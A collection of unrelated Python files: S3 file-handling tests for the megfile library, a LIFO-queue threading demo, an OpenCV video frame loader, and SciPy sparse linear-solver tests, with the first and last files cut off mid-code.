s3_empty_client.put_object(Bucket='bucket', Key='key', Body=content) with s3.s3_prefetch_open('s3://bucket/key') as reader: assert reader.name == 's3://bucket/key' assert reader.mode == 'rb' assert reader.read() == content with s3.s3_prefetch_open('s3://bucket/key', max_concurrency=1, max_block_size=1) as reader: assert reader.read() == content def test_s3_share_cache_open(s3_empty_client): content = b'test data for s3_share_cache_open' s3_empty_client.create_bucket(Bucket='bucket') s3_empty_client.put_object(Bucket='bucket', Key='key', Body=content) with s3.s3_share_cache_open('s3://bucket/key') as reader: assert reader.name == 's3://bucket/key' assert reader.mode == 'rb' assert reader.read() == content with s3.s3_prefetch_open('s3://bucket/key', max_concurrency=1, max_block_size=1) as reader: assert reader.read() == content def test_s3_prefetch_open_raises_exceptions(s3_empty_client): s3_empty_client.create_bucket(Bucket='bucket') s3_empty_client.put_object(Bucket='bucket', Key='key') with pytest.raises(IsADirectoryError) as error: s3.s3_prefetch_open('s3://bucket') assert 's3://bucket' in str(error.value) with pytest.raises(IsADirectoryError) as error: s3.s3_prefetch_open('s3://bucket/') assert 's3://bucket/' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_prefetch_open('s3://bucket/keyy') assert 's3://bucket/keyy' in str(error.value) def test_s3_pipe_open(s3_empty_client): content = b'test data for s3_pipe_open' s3_empty_client.create_bucket(Bucket='bucket') with s3.s3_pipe_open('s3://bucket/key', 'wb') as writer: assert writer.name == 's3://bucket/key' assert writer.mode == 'wb' writer.write(content) body = s3_empty_client.get_object(Bucket='bucket', Key='key')['Body'].read() assert body == content with s3.s3_pipe_open('s3://bucket/key', 'rb') as reader: assert reader.name == 's3://bucket/key' assert reader.mode == 'rb' assert reader.read() == content def test_s3_pipe_open_raises_exceptions(s3_empty_client): with pytest.raises(IsADirectoryError) as error: s3.s3_pipe_open('s3://bucket', 'wb') assert 's3://bucket' in str(error.value) with pytest.raises(IsADirectoryError) as error: s3.s3_pipe_open('s3://bucket/', 'wb') assert 's3://bucket/' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_pipe_open('s3://bucket/key', 'wb') assert 's3://bucket/key' in str(error.value) s3_empty_client.create_bucket(Bucket='bucket') s3_empty_client.put_object(Bucket='bucket', Key='key') with pytest.raises(IsADirectoryError) as error: s3.s3_pipe_open('s3://bucket', 'rb') assert 's3://bucket' in str(error.value) with pytest.raises(IsADirectoryError) as error: s3.s3_pipe_open('s3://bucket/', 'rb') assert 's3://bucket/' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_pipe_open('s3://bucket/keyy', 'rb') assert 's3://bucket/keyy' in str(error.value) def test_s3_legacy_open(mocker, s3_empty_client): resource = boto3.resource('s3') mocker.patch('boto3.Session.resource', return_value=resource) mocker.patch('megfile.s3.get_endpoint_url', return_value=None) content = b'test data for s3_legacy_open' s3_empty_client.create_bucket(Bucket='bucket') with s3.s3_legacy_open('s3://bucket/key', 'wb') as writer: writer.write(content) body = s3_empty_client.get_object(Bucket='bucket', Key='key')['Body'].read() assert body == content with s3.s3_legacy_open('s3://bucket/key', 'rb') as reader: assert reader.read() == content def test_s3_legacy_open_raises_exceptions(mocker, s3_empty_client): resource = boto3.resource('s3') mocker.patch('boto3.Session.resource', return_value=resource) mocker.patch('megfile.s3.get_endpoint_url', return_value=None) with pytest.raises(IsADirectoryError) as error: s3.s3_legacy_open('s3://bucket', 'wb') assert 's3://bucket' in str(error.value) with pytest.raises(IsADirectoryError) as error: s3.s3_legacy_open('s3://bucket/', 'wb') assert 's3://bucket/' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_legacy_open('s3://bucket/key', 'wb') assert 's3://bucket/key' in str(error.value) s3_empty_client.create_bucket(Bucket='bucket') s3_empty_client.put_object(Bucket='bucket', Key='key') with pytest.raises(IsADirectoryError) as error: s3.s3_legacy_open('s3://bucket', 'rb') assert 's3://bucket' in str(error.value) with pytest.raises(IsADirectoryError) as error: s3.s3_legacy_open('s3://bucket/', 'rb') assert 's3://bucket/' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_legacy_open('s3://bucket/keyy', 'rb') assert 's3://bucket/keyy' in str(error.value) def test_s3_cached_open(mocker, s3_empty_client, fs): content = b'test data for s3_cached_open' s3_empty_client.create_bucket(Bucket='bucket') cache_path = '/tmp/tempfile' with s3.s3_cached_open('s3://bucket/key', 'wb', cache_path=cache_path) as writer: assert writer.name == 's3://bucket/key' assert writer.mode == 'wb' writer.write(content) body = s3_empty_client.get_object(Bucket='bucket', Key='key')['Body'].read() assert body == content with s3.s3_cached_open('s3://bucket/key', 'rb', cache_path=cache_path) as reader: assert reader.name == 's3://bucket/key' assert reader.mode == 'rb' assert reader.read() == content def test_s3_cached_open_raises_exceptions(mocker, s3_empty_client, fs): cache_path = '/tmp/tempfile' with pytest.raises(IsADirectoryError) as error: s3.s3_cached_open('s3://bucket', 'wb', cache_path=cache_path) assert 's3://bucket' in str(error.value) with pytest.raises(IsADirectoryError) as error: s3.s3_cached_open('s3://bucket/', 'wb', cache_path=cache_path) assert 's3://bucket/' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_cached_open('s3://bucket/key', 'wb', cache_path=cache_path) assert 's3://bucket/key' in str(error.value) s3_empty_client.create_bucket(Bucket='bucket') s3_empty_client.put_object(Bucket='bucket', Key='key') with pytest.raises(IsADirectoryError) as error: s3.s3_cached_open('s3://bucket', 'rb', cache_path=cache_path) assert 's3://bucket' in str(error.value) with pytest.raises(IsADirectoryError) as error: s3.s3_cached_open('s3://bucket/', 'rb', cache_path=cache_path) assert 's3://bucket/' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_cached_open('s3://bucket/keyy', 'rb', cache_path=cache_path) assert 's3://bucket/keyy' in str(error.value) def test_s3_buffered_open(mocker, s3_empty_client, fs): content = b'test data for s3_buffered_open' s3_empty_client.create_bucket(Bucket='bucket') writer = s3.s3_buffered_open('s3://bucket/key', 'wb') assert isinstance(writer.raw, s3.S3BufferedWriter) writer = s3.s3_buffered_open('s3://bucket/key', 'wb', limited_seekable=True) assert isinstance(writer.raw, s3.S3LimitedSeekableWriter) reader = s3.s3_buffered_open('s3://bucket/key', 'rb') assert isinstance(reader.raw, s3.S3PrefetchReader) reader = s3.s3_buffered_open( 's3://bucket/key', 'rb', share_cache_key='share') assert isinstance(reader.raw, s3.S3ShareCacheReader) with s3.s3_buffered_open('s3://bucket/key', 'wb') as writer: assert writer.name == 's3://bucket/key' assert writer.mode == 'wb' writer.write(content) body = s3_empty_client.get_object(Bucket='bucket', Key='key')['Body'].read() assert body == content with s3.s3_buffered_open('s3://bucket/key', 'rb') as reader: assert reader.name == 's3://bucket/key' assert reader.mode == 'rb' assert reader.read() == content def test_s3_buffered_open_raises_exceptions(mocker, s3_empty_client, fs): with pytest.raises(IsADirectoryError) as error: s3.s3_buffered_open('s3://bucket', 'wb') assert 's3://bucket' in str(error.value) with pytest.raises(IsADirectoryError) as error: s3.s3_buffered_open('s3://bucket/', 'wb') assert 's3://bucket/' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_buffered_open('s3://bucket/key', 'wb') assert 's3://bucket/key' in str(error.value) s3_empty_client.create_bucket(Bucket='bucket') s3_empty_client.put_object(Bucket='bucket', Key='key') with pytest.raises(IsADirectoryError) as error: s3.s3_buffered_open('s3://bucket', 'rb') assert 's3://bucket' in str(error.value) with pytest.raises(IsADirectoryError) as error: s3.s3_buffered_open('s3://bucket/', 'rb') assert 's3://bucket/' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_buffered_open('s3://bucket/keyy', 'rb') assert 's3://bucket/keyy' in str(error.value) def test_s3_memory_open(s3_empty_client): content = b'test data for s3_memory_open' s3_empty_client.create_bucket(Bucket='bucket') with s3.s3_memory_open('s3://bucket/key', 'wb') as writer: writer.write(content) body = s3_empty_client.get_object(Bucket='bucket', Key='key')['Body'].read() assert body == content with s3.s3_memory_open('s3://bucket/key', 'rb') as reader: assert reader.read() == content def test_s3_open(s3_empty_client): content = b'test data for s3_open' s3_empty_client.create_bucket(Bucket='bucket') s3_empty_client.put_object(Bucket='bucket', Key='key', Body=content) writer = s3.s3_open('s3://bucket/key', 'wb') assert isinstance(writer.raw, s3.S3BufferedWriter) reader = s3.s3_open('s3://bucket/key', 'rb') assert isinstance(reader.raw, s3.S3PrefetchReader) writer = s3.s3_open('s3://bucket/key', 'ab') assert isinstance(writer, s3.S3MemoryHandler) writer = s3.s3_open('s3://bucket/key', 'wb+') assert isinstance(writer, s3.S3MemoryHandler) def test_s3_getmd5(s3_empty_client): s3_url = 's3://bucket/key' s3_empty_client.create_bucket(Bucket='bucket') s3_empty_client.put_object( Bucket='bucket', Key='key', Metadata={content_md5_header: 'md5'}) assert s3.s3_getmd5(s3_url) == 'md5' def test_s3_getmd5_None(s3_empty_client): s3_url = 's3://bucket/key' s3_empty_client.create_bucket(Bucket='bucket') s3_empty_client.put_object(Bucket='bucket', Key='key') assert s3.s3_getmd5(s3_url) is None def test_s3_load_content(s3_empty_client): content = b'test data for s3_load_content' s3_empty_client.create_bucket(Bucket='bucket') with s3.s3_memory_open('s3://bucket/key', 'wb') as writer: writer.write(content) assert s3.s3_load_content('s3://bucket/key') == content assert s3.s3_load_content('s3://bucket/key', 1) == content[1:] assert s3.s3_load_content('s3://bucket/key', stop=-1) == content[:-1] assert s3.s3_load_content('s3://bucket/key', 4, 7) == content[4:7] with pytest.raises(ValueError) as error: s3.s3_load_content('s3://bucket/key', 5, 2) def test_s3_load_content_retry(s3_empty_client, mocker): content = b'test data for s3_load_content' s3_empty_client.create_bucket(Bucket='bucket') with s3.s3_memory_open('s3://bucket/key', 'wb') as writer: writer.write(content) read_error = botocore.exceptions.IncompleteReadError( actual_bytes=0, expected_bytes=1) mocker.patch.object(s3_empty_client, 'get_object', side_effect=read_error) sleep = mocker.patch.object(time, 'sleep') with pytest.raises(Exception) as error: s3.s3_load_content('s3://bucket/key') assert error.value.__str__() == translate_s3_error( read_error, 's3://bucket/key').__str__() assert sleep.call_count == s3.max_retries - 1 def test_s3_cacher(fs, s3_empty_client): content = b'test data for s3_load_content' s3_empty_client.create_bucket(Bucket='bucket') s3_empty_client.put_object(Bucket='bucket', Key='key', Body=content) with s3.S3Cacher('s3://bucket/key', '/path/to/file') as path: assert path == '/path/to/file' assert os.path.exists(path) with open(path, 'rb') as fp: assert fp.read() == content assert not os.path.exists(path) with s3.S3Cacher('s3://bucket/key', '/path/to/file', 'w') as path: assert path == '/path/to/file' assert not os.path.exists(path) with open(path, 'wb') as fp: assert fp.write(content) assert not os.path.exists(path) assert s3.s3_load_content('s3://bucket/key') == content with s3.S3Cacher('s3://bucket/key', '/path/to/file', 'a') as path: assert path == '/path/to/file' assert os.path.exists(path) with open(path, 'rb+') as fp: assert fp.read() == content assert fp.write(content) assert not os.path.exists(path) assert s3.s3_load_content('s3://bucket/key') == content * 2
lifo_queues.py
import queue import threading import time def do_work(item): print(f'{threading.current_thread()} removed {item} from the queue') def worker(queue): while not queue.empty(): item = queue.get() if item is None: print('item is none') break do_work(item) queue.task_done() time.sleep(1) q = queue.LifoQueue() for i in range(10): q.put(i) print('Queue populated') threads = [] for i in range(4): thread = threading.Thread(target=worker, args=(q,)) thread.start() threads.append(thread) # block until all tasks are done # q.join() # # stop workers # for i in range(4): # q.put(None) for thread in threads: thread.join() print('Queue is empty') ''' Queue populated <Thread(Thread-1, started 123145550643200)> removed 9 from the queue <Thread(Thread-2, started 123145567432704)> removed 8 from the queue <Thread(Thread-3, started 123145584222208)> removed 7 from the queue <Thread(Thread-4, started 123145601011712)> removed 6 from the queue <Thread(Thread-1, started 123145550643200)> removed 5 from the queue <Thread(Thread-2, started 123145567432704)> removed 4 from the queue <Thread(Thread-4, started 123145601011712)> removed 3 from the queue <Thread(Thread-3, started 123145584222208)> removed 2 from the queue <Thread(Thread-1, started 123145550643200)> removed 1 from the queue <Thread(Thread-2, started 123145567432704)> removed 0 from the queue Queue is empty '''
Video.py
import cv2 import threading import numpy as np class VideoLoader(object): """ Load the video frame and return the paired consecutive frames for Face Detection DSFD Model""" def __init__(self, path, batch_size, frame_cache_size): self.video = cv2.VideoCapture(str(path)) self.cache_size = frame_cache_size self.batch_size = batch_size #self.transform = TestBaseTransform((103, 117, 123)) self.factor = 2 self.cache = None self.num_frame_loaded = None self.num_frame_processed = None self.loaded = True self.process = threading.Thread(target=self._preload_frames) self.cache_write_lock = threading.Lock() def _preload_frames(self): while not self.loaded: if self.num_frame_loaded - self.num_frame_processed < self.cache_size: self._load_next_frame() def _load_next_frame(self): with self.cache_write_lock: self.video.set(cv2.CAP_PROP_POS_FRAMES, self.num_frame_loaded) ret, frame = self.video.read() if ret: self.cache[self.num_frame_loaded+1] =frame self.num_frame_loaded += 1 else: self.loaded = True def reset(self): with self.cache_write_lock: self.loaded = True # Attempt to complete the preloading if self.process.is_alive(): del self.process # Force to finish the thread self.cache = dict() self.num_frame_loaded = 0 self.num_frame_processed = 0 self.loaded = False self.max_im_shrink = None self.shrink1 = None self.shrink2 = None self.shrink3 = None self.process = threading.Thread(target=self._preload_frames) self.process.start() def __iter__(self): self.reset() return self def __next__(self): if self.loaded and self.num_frame_processed == self.num_frame_loaded: raise StopIteration else: while self.num_frame_processed >= self.num_frame_loaded: pass # wait for new frame to be loaded rst = self.cache[self.num_frame_processed+1] self.cache.pop(self.num_frame_processed+1) self.num_frame_processed += 1 return np.array(rst) if __name__ == '__main__': import time loader = VideoLoader('/home/charley/Research/Yudong/Videos/ADOS1047_E2_ADOS_091319.mp4', 16, 1000) st = time.time() for all_frames in loader: end = time.time() print([frames.shape for frames in all_frames], len(loader.cache), end-st) st = time.time()
test_linsolve.py
from __future__ import division, print_function, absolute_import import sys import threading import numpy as np from numpy import array, finfo, arange, eye, all, unique, ones, dot import numpy.random as random from numpy.testing import ( assert_array_almost_equal, assert_almost_equal, assert_equal, assert_array_equal, assert_, assert_allclose, assert_warns, suppress_warnings) import pytest from pytest import raises as assert_raises import scipy.linalg from scipy.linalg import norm, inv from scipy.sparse import (spdiags, SparseEfficiencyWarning, csc_matrix, csr_matrix, identity, isspmatrix, dok_matrix, lil_matrix, bsr_matrix) from scipy.sparse.linalg import SuperLU from scipy.sparse.linalg.dsolve import (spsolve, use_solver, splu, spilu, MatrixRankWarning, _superlu, spsolve_triangular, factorized) sup_sparse_efficiency = suppress_warnings() sup_sparse_efficiency.filter(SparseEfficiencyWarning) # scikits.umfpack is not a SciPy dependency but it is optionally used in # dsolve, so check whether it's available try: import scikits.umfpack as umfpack has_umfpack = True except ImportError: has_umfpack = False def toarray(a): if isspmatrix(a): return a.toarray() else: return a class TestFactorized(object): def setup_method(self): n = 5 d = arange(n) + 1 self.n = n self.A = spdiags((d, 2*d, d[::-1]), (-3, 0, 5), n, n).tocsc() random.seed(1234) def _check_singular(self): A = csc_matrix((5,5), dtype='d') b = ones(5) assert_array_almost_equal(0. * b, factorized(A)(b)) def _check_non_singular(self): # Make a diagonal dominant, to make sure it is not singular n = 5 a = csc_matrix(random.rand(n, n)) b = ones(n) expected = splu(a).solve(b) assert_array_almost_equal(factorized(a)(b), expected) def test_singular_without_umfpack(self): use_solver(useUmfpack=False) with assert_raises(RuntimeError, match="Factor is exactly singular"): self._check_singular() @pytest.mark.skipif(not has_umfpack, reason="umfpack not available") def test_singular_with_umfpack(self): use_solver(useUmfpack=True) with suppress_warnings() as sup: sup.filter(RuntimeWarning, "divide by zero encountered in double_scalars") assert_warns(umfpack.UmfpackWarning, self._check_singular) def test_non_singular_without_umfpack(self): use_solver(useUmfpack=False) self._check_non_singular() @pytest.mark.skipif(not has_umfpack, reason="umfpack not available") def test_non_singular_with_umfpack(self): use_solver(useUmfpack=True) self._check_non_singular() def test_cannot_factorize_nonsquare_matrix_without_umfpack(self): use_solver(useUmfpack=False) msg = "can only factor square matrices" with assert_raises(ValueError, match=msg): factorized(self.A[:, :4]) @pytest.mark.skipif(not has_umfpack, reason="umfpack not available") def test_factorizes_nonsquare_matrix_with_umfpack(self): use_solver(useUmfpack=True) # does not raise factorized(self.A[:,:4]) def test_call_with_incorrectly_sized_matrix_without_umfpack(self): use_solver(useUmfpack=False) solve = factorized(self.A) b = random.rand(4) B = random.rand(4, 3) BB = random.rand(self.n, 3, 9) with assert_raises(ValueError, match="is of incompatible size"): solve(b) with assert_raises(ValueError, match="is of incompatible size"): solve(B) with assert_raises(ValueError, match="object too deep for desired array"): solve(BB) @pytest.mark.skipif(not has_umfpack, reason="umfpack not available") def test_call_with_incorrectly_sized_matrix_with_umfpack(self): use_solver(useUmfpack=True) solve = factorized(self.A) b = random.rand(4) B = random.rand(4, 3) BB = random.rand(self.n, 3, 9) # does not raise solve(b) msg = "object too deep for desired array" with assert_raises(ValueError, match=msg): solve(B) with assert_raises(ValueError, match=msg): solve(BB) def test_call_with_cast_to_complex_without_umfpack(self): use_solver(useUmfpack=False) solve = factorized(self.A) b = random.rand(4) for t in [np.complex64, np.complex128]: with assert_raises(TypeError, match="Cannot cast array data"): solve(b.astype(t)) @pytest.mark.skipif(not has_umfpack, reason="umfpack not available") def test_call_with_cast_to_complex_with_umfpack(self): use_solver(useUmfpack=True) solve = factorized(self.A) b = random.rand(4) for t in [np.complex64, np.complex128]: assert_warns(np.ComplexWarning, solve, b.astype(t)) @pytest.mark.skipif(not has_umfpack, reason="umfpack not available") def test_assume_sorted_indices_flag(self): # a sparse matrix with unsorted indices unsorted_inds = np.array([2, 0, 1, 0]) data = np.array([10, 16, 5, 0.4]) indptr = np.array([0, 1, 2, 4]) A = csc_matrix((data, unsorted_inds, indptr), (3, 3)) b = ones(3) # should raise when incorrectly assuming indices are sorted use_solver(useUmfpack=True, assumeSortedIndices=True) with assert_raises(RuntimeError, match="UMFPACK_ERROR_invalid_matrix"): factorized(A) # should sort indices and succeed when not assuming indices are sorted use_solver(useUmfpack=True, assumeSortedIndices=False) expected = splu(A.copy()).solve(b) assert_equal(A.has_sorted_indices, 0) assert_array_almost_equal(factorized(A)(b), expected) assert_equal(A.has_sorted_indices, 1) class TestLinsolve(object): def setup_method(self): use_solver(useUmfpack=False) def test_singular(self): A = csc_matrix((5,5), dtype='d') b = array([1, 2, 3, 4, 5],dtype='d') with suppress_warnings() as sup: sup.filter(MatrixRankWarning, "Matrix is exactly singular") x = spsolve(A, b) assert_(not np.isfinite(x).any()) def test_singular_gh_3312(self): # "Bad" test case that leads SuperLU to call LAPACK with invalid # arguments. Check that it fails moderately gracefully. ij = np.array([(17, 0), (17, 6), (17, 12), (10, 13)], dtype=np.int32) v = np.array([0.284213, 0.94933781, 0.15767017, 0.38797296]) A = csc_matrix((v, ij.T), shape=(20, 20)) b = np.arange(20) try: # should either raise a runtimeerror or return value # appropriate for singular input x = spsolve(A, b) assert_(not np.isfinite(x).any()) except RuntimeError: pass def test_twodiags(self): A = spdiags([[1, 2, 3, 4, 5], [6, 5, 8, 9, 10]], [0, 1], 5, 5) b = array([1, 2, 3, 4, 5]) # condition number of A cond_A = norm(A.todense(),2) * norm(inv(A.todense()),2) for t in ['f','d','F','D']: eps = finfo(t).eps # floating point epsilon b = b.astype(t) for format in ['csc','csr']: Asp = A.astype(t).asformat(format) x = spsolve(Asp,b) assert_(norm(b - Asp*x) < 10 * cond_A * eps) def test_bvector_smoketest(self): Adense = array([[0., 1., 1.], [1., 0., 1.], [0., 0., 1.]]) As = csc_matrix(Adense) random.seed(1234) x = random.randn(3) b = As*x x2 = spsolve(As, b) assert_array_almost_equal(x, x2) def test_bmatrix_smoketest(self): Adense = array([[0., 1., 1.], [1., 0., 1.], [0., 0., 1.]]) As = csc_matrix(Adense) random.seed(1234) x = random.randn(3, 4) Bdense = As.dot(x) Bs = csc_matrix(Bdense) x2 = spsolve(As, Bs) assert_array_almost_equal(x, x2.todense()) @sup_sparse_efficiency def test_non_square(self): # A is not square. A = ones((3, 4)) b = ones((4, 1)) assert_raises(ValueError, spsolve, A, b) # A2 and b2 have incompatible shapes. A2 = csc_matrix(eye(3)) b2 = array([1.0, 2.0]) assert_raises(ValueError, spsolve, A2, b2) @sup_sparse_efficiency def test_example_comparison(self): row = array([0,0,1,2,2,2]) col = array([0,2,2,0,1,2]) data = array([1,2,3,-4,5,6]) sM = csr_matrix((data,(row,col)), shape=(3,3), dtype=float) M = sM.todense() row = array([0,0,1,1,0,0]) col = array([0,2,1,1,0,0]) data = array([1,1,1,1,1,1]) sN = csr_matrix((data, (row,col)), shape=(3,3), dtype=float) N = sN.todense() sX = spsolve(sM, sN) X = scipy.linalg.solve(M, N) assert_array_almost_equal(X, sX.todense()) @sup_sparse_efficiency @pytest.mark.skipif(not has_umfpack, reason="umfpack not available") def test_shape_compatibility(self): use_solver(useUmfpack=True) A = csc_matrix([[1., 0], [0, 2]]) bs = [ [1, 6], array([1, 6]), [[1], [6]], array([[1], [6]]), csc_matrix([[1], [6]]), csr_matrix([[1], [6]]), dok_matrix([[1], [6]]), bsr_matrix([[1], [6]]), array([[1., 2., 3.], [6., 8., 10.]]), csc_matrix([[1., 2., 3.], [6., 8., 10.]]), csr_matrix([[1., 2., 3.], [6., 8., 10.]]), dok_matrix([[1., 2., 3.], [6., 8., 10.]]), bsr_matrix([[1., 2., 3.], [6., 8., 10.]]), ] for b in bs: x = np.linalg.solve(A.toarray(), toarray(b)) for spmattype in [csc_matrix, csr_matrix, dok_matrix, lil_matrix]: x1 = spsolve(spmattype(A), b, use_umfpack=True) x2 = spsolve(spmattype(A), b, use_umfpack=False) # check solution if x.ndim == 2 and x.shape[1] == 1: # interprets also these as "vectors" x = x.ravel() assert_array_almost_equal(toarray(x1), x, err_msg=repr((b, spmattype, 1))) assert_array_almost_equal(toarray(x2), x, err_msg=repr((b, spmattype, 2))) # dense vs. sparse output ("vectors" are always dense) if isspmatrix(b) and x.ndim > 1: assert_(isspmatrix(x1), repr((b, spmattype, 1))) assert_(isspmatrix(x2), repr((b, spmattype, 2))) else: assert_(isinstance(x1, np.ndarray), repr((b, spmattype, 1))) assert_(isinstance(x2, np.ndarray), repr((b, spmattype, 2))) # check output shape if x.ndim == 1: # "vector" assert_equal(x1.shape, (A.shape[1],)) assert_equal(x2.shape, (A.shape[1],)) else: # "matrix" assert_equal(x1.shape, x.shape) assert_equal(x2.shape, x.shape) A = csc_matrix((3, 3)) b = csc_matrix((1, 3)) assert_raises(ValueError, spsolve, A, b) @sup_sparse_efficiency def test_ndarray_support(self): A = array([[1., 2.], [2., 0.]]) x = array([[1., 1.], [0.5, -0.5]]) b = array([[2., 0.], [2., 2.]]) assert_array_almost_equal(x, spsolve(A, b)) def test_gssv_badinput(self): N = 10 d = arange(N) + 1.0 A = spdiags((d, 2*d, d[::-1]), (-3, 0, 5), N, N) for spmatrix in (csc_matrix, csr_matrix): A = spmatrix(A) b = np.arange(N) def not_c_contig(x): return x.repeat(2)[::2] def not_1dim(x): return x[:,None] def bad_type(x): return x.astype(bool) def too_short(x): return x[:-1] badops = [not_c_contig, not_1dim, bad_type, too_short] for badop in badops: msg = "%r %r" % (spmatrix, badop) # Not C-contiguous assert_raises((ValueError, TypeError), _superlu.gssv, N, A.nnz, badop(A.data), A.indices, A.indptr, b, int(spmatrix == csc_matrix), err_msg=msg) assert_raises((ValueError, TypeError), _superlu.gssv, N, A.nnz, A.data, badop(A.indices), A.indptr, b, int(spmatrix == csc_matrix), err_msg=msg) assert_raises((ValueError, TypeError), _superlu.gssv, N, A.nnz, A.data, A.indices, badop(A.indptr), b, int(spmatrix == csc_matrix), err_msg=msg) def test_sparsity_preservation(self): ident = csc_matrix([ [1, 0, 0], [0, 1, 0], [0, 0, 1]]) b = csc_matrix([ [0, 1], [1, 0], [0, 0]]) x = spsolve(ident, b) assert_equal(ident.nnz, 3) assert_equal(b.nnz, 2) assert_equal(x.nnz, 2) assert_allclose(x.A, b.A, atol=1e-12, rtol=1e-12) def test_dtype_cast(self): A_real = scipy.sparse.csr_matrix([[1, 2, 0], [0, 0, 3], [4, 0, 5]]) A_complex = scipy.sparse.csr_matrix([[1, 2, 0], [0, 0, 3], [4, 0, 5 + 1j]]) b_real = np.array([1,1,1]) b_complex = np.array([1,1,1]) + 1j*np.array([1,1,1]) x = spsolve(A_real, b_real) assert_(np.issubdtype(x.dtype, np.floating)) x = spsolve(A_real, b_complex) assert_(np.issubdtype(x.dtype, np.complexfloating)) x = spsolve(A_complex, b_real) assert_(np.issubdtype(x.dtype, np.complexfloating)) x = spsolve(A_complex, b_complex) assert_(np.issubdtype(x.dtype, np.complexfloating)) class TestSplu(object): def setup_method(self): use_solver(useUmfpack=False) n = 40 d = arange(n) + 1 self.n = n self.A = spdiags((d, 2*d, d[::-1]), (-3, 0, 5), n, n) random.seed(1234) def _smoketest(self, spxlu, check, dtype): if np.issubdtype(dtype, np.complexfloating): A = self.A + 1j*self.A.T else: A = self.A A = A.astype(dtype) lu = spxlu(A) rng = random.RandomState(1234) # Input shapes for k in [None, 1, 2, self.n, self.n+2]: msg = "k=%r" % (k,) if k is None: b = rng.rand(self.n) else: b = rng.rand(self.n, k) if np.issubdtype(dtype, np.complexfloating): b = b + 1j*rng.rand(*b.shape) b = b.astype(dtype) x = lu.solve(b) check(A, b, x, msg) x = lu.solve(b, 'T') check(A.T, b, x, msg) x = lu.solve(b, 'H') check(A.T.conj(), b, x, msg) @sup_sparse_efficiency def test_splu_smoketest(self): self._internal_test_splu_smoketest() def _internal_test_splu_smoketest(self): # Check that splu works at all def check(A, b, x, msg=""): eps = np.finfo(A.dtype).eps r = A * x assert_(abs(r - b).max() < 1e3*eps, msg) self._smoketest(splu, check, np.float32) self._smoketest(splu, check, np.float64) self._smoketest(splu, check, np.complex64) self._smoketest(splu, check, np.complex128) @sup_sparse_efficiency def test_spilu_smoketest(self): self._internal_test_spilu_smoketest() def _internal_test_spilu_smoketest(self): errors = [] def check(A, b, x, msg=""): r = A * x err = abs(r - b).max() assert_(err < 1e-2, msg) if b.dtype in (np.float64, np.complex128): errors.append(err) self._smoketest(spilu, check, np.float32) self._smoketest(spilu, check, np.float64) self._smoketest(spilu, check, np.complex64) self._smoketest(spilu, check, np.complex128) assert_(max(errors) > 1e-5) @sup_sparse_efficiency def test_spilu_drop_rule(self): # Test passing in the drop_rule argument to spilu. A = identity(2) rules = [ b'basic,area'.decode('ascii'), # unicode b'basic,area', # ascii [b'basic', b'area'.decode('ascii')] ] for rule in rules: # Argument should be accepted assert_(isinstance(spilu(A, drop_rule=rule), SuperLU)) def test_splu_nnz0(self): A = csc_matrix((5,5), dtype='d') assert_raises(RuntimeError, splu, A) def test_spilu_nnz0(self): A = csc_matrix((5,5), dtype='d') assert_raises(RuntimeError, spilu, A) def test_splu_basic(self): # Test basic splu functionality. n = 30 rng = random.RandomState(12) a = rng.rand(n, n) a[a < 0.95] = 0 # First test with a singular matrix a[:, 0] = 0 a_ = csc_matrix(a) # Matrix is exactly singular assert_raises(RuntimeError, splu, a_) # Make a diagonal dominant, to make sure it is not singular a += 4*eye(n) a_ = csc_matrix(a) lu = splu(a_) b = ones(n) x = lu.solve(b) assert_almost_equal(dot(a, x), b) def test_splu_perm(self): # Test the permutation vectors exposed by splu. n = 30 a = random.random((n, n)) a[a < 0.95] = 0 # Make a diagonal dominant, to make sure it is not singular a += 4*eye(n) a_ = csc_matrix(a) lu = splu(a_) # Check that the permutation indices do belong to [0, n-1]. for perm in (lu.perm_r, lu.perm_c): assert_(all(perm > -1)) assert_(all(perm < n)) assert_equal(len(unique(perm)), len(perm)) # Now make a symmetric, and test that the two permutation vectors are # the same # Note: a += a.T relies on undefined behavior. a = a + a.T a_ = csc_matrix(a) lu = splu(a_) assert_array_equal(lu.perm_r, lu.perm_c) @pytest.mark.skipif(not hasattr(sys, 'getrefcount'), reason="no sys.getrefcount") def test_lu_refcount(self): # Test that we are keeping track of the reference count with splu. n = 30 a = random.random((n, n)) a[a < 0.95] = 0 # Make a diagonal dominant, to make sure it is not singular a += 4*eye(n) a_ = csc_matrix(a) lu = splu(a_) # And now test that we don't have a refcount bug rc = sys.getrefcount(lu) for attr in ('perm_r', 'perm_c'): perm = getattr(lu, attr) assert_equal(sys.getrefcount(lu), rc + 1) del perm assert_equal(sys.getrefcount(lu), rc) def test_bad_inputs(self): A = self.A.tocsc() assert_raises(ValueError, splu, A[:,:4]) assert_raises(ValueError, spilu, A[:,:4]) for lu in [splu(A), spilu(A)]: b = random.rand(42) B = random.rand(42, 3) BB = random.rand(self.n, 3, 9) assert_raises(ValueError, lu.solve, b) assert_raises(ValueError, lu.solve, B) assert_raises(ValueError, lu.solve, BB) assert_raises(TypeError, lu.solve, b.astype(np.complex64)) assert_raises(TypeError, lu.solve, b.astype(np.complex128)) @sup_sparse_efficiency def test_superlu_dlamch_i386_nan(self): # SuperLU 4.3 calls some functions returning floats without # declaring them. On i386@linux call convention, this fails to # clear floating point registers after call. As a result, NaN # can appear in the next floating point operation made. # # Here's a test case that triggered the issue. n = 8 d = np.arange(n) + 1 A = spdiags((d, 2*d, d[::-1]), (-3, 0, 5), n, n) A = A.astype(np.float32) spilu(A) A = A + 1j*A B = A.A assert_(not np.isnan(B).any()) @sup_sparse_efficiency def test_lu_attr(self): def check(dtype, complex_2=False): A = self.A.astype(dtype) if complex_2: A = A + 1j*A.T n = A.shape[0] lu = splu(A) # Check that the decomposition is as advertized Pc = np.zeros((n, n)) Pc[np.arange(n), lu.perm_c] = 1 Pr = np.zeros((n, n)) Pr[lu.perm_r, np.arange(n)] = 1 Ad = A.toarray() lhs = Pr.dot(Ad).dot(Pc) rhs = (lu.L * lu.U).toarray() eps = np.finfo(dtype).eps assert_allclose(lhs, rhs, atol=100*eps) check(np.float32) check(np.float64) check(np.complex64) 